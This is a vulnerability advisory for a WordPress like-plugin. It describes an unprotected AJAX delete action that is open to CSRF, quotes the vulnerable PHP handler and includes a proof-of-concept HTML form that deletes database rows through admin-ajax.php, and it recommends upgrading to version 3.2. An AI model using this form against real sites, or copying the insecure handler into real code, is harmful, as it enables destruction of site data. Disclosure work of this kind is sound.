CVSS Summary
Score | 5.8 Medium |
---|---|
Vector | Network |
Complexity | Medium |
Authentication | None |
Confidentiality | None |
Integrity | Partial |
Availability | Partial |
Last revised:
The plugin contains a wp_ajax action which allows any authenticated user (it doesn’t check permissions) to delete any row of certain tables (the table must begin with $wpdb->prefix
and contain an id
field). As nonces are not used, this is also vulnerable to CSRF meaning unauthenticated users can access it if they can successfully phish any user of the site.
add_action('wp_ajax_ulikelogs','wp_ulike_logs_process'); function wp_ulike_logs_process(){ global $wpdb; $id = $_POST['id']; $table = $_POST['table']; $wpdb->delete( $wpdb->prefix.$table ,array( 'id' => $id )); wp_die(); }
This functionality should have a nonce, it should be restricted to users with certain permissions, and it should be restricted to only allow deleting from certain tables.
Current state: Fixed
Score | 5.8 Medium |
---|---|
Vector | Network |
Complexity | Medium |
Authentication | None |
Confidentiality | None |
Integrity | Partial |
Availability | Partial |
This is the proof-of-concept for an unauthenticated user using CSRF against a logged in user.
id=1
in the $wpdb->prefix.'posts'
table will be deleted<form method="POST" action="http://localhost/wp-admin/admin-ajax.php"> <input type="text" name="action" value="ulikelogs"> <input type="text" name="table" value="posts"> <input type="text" name="id" value="1"> <input type="submit"> </form>
In a real attack, the form could be made to auto-submit on page load, and submit the form multiple times with different table and id values meaning that a single user falling for a phish could wipe entire tables.
ID
columns)Upgrade to version 3.2 or later.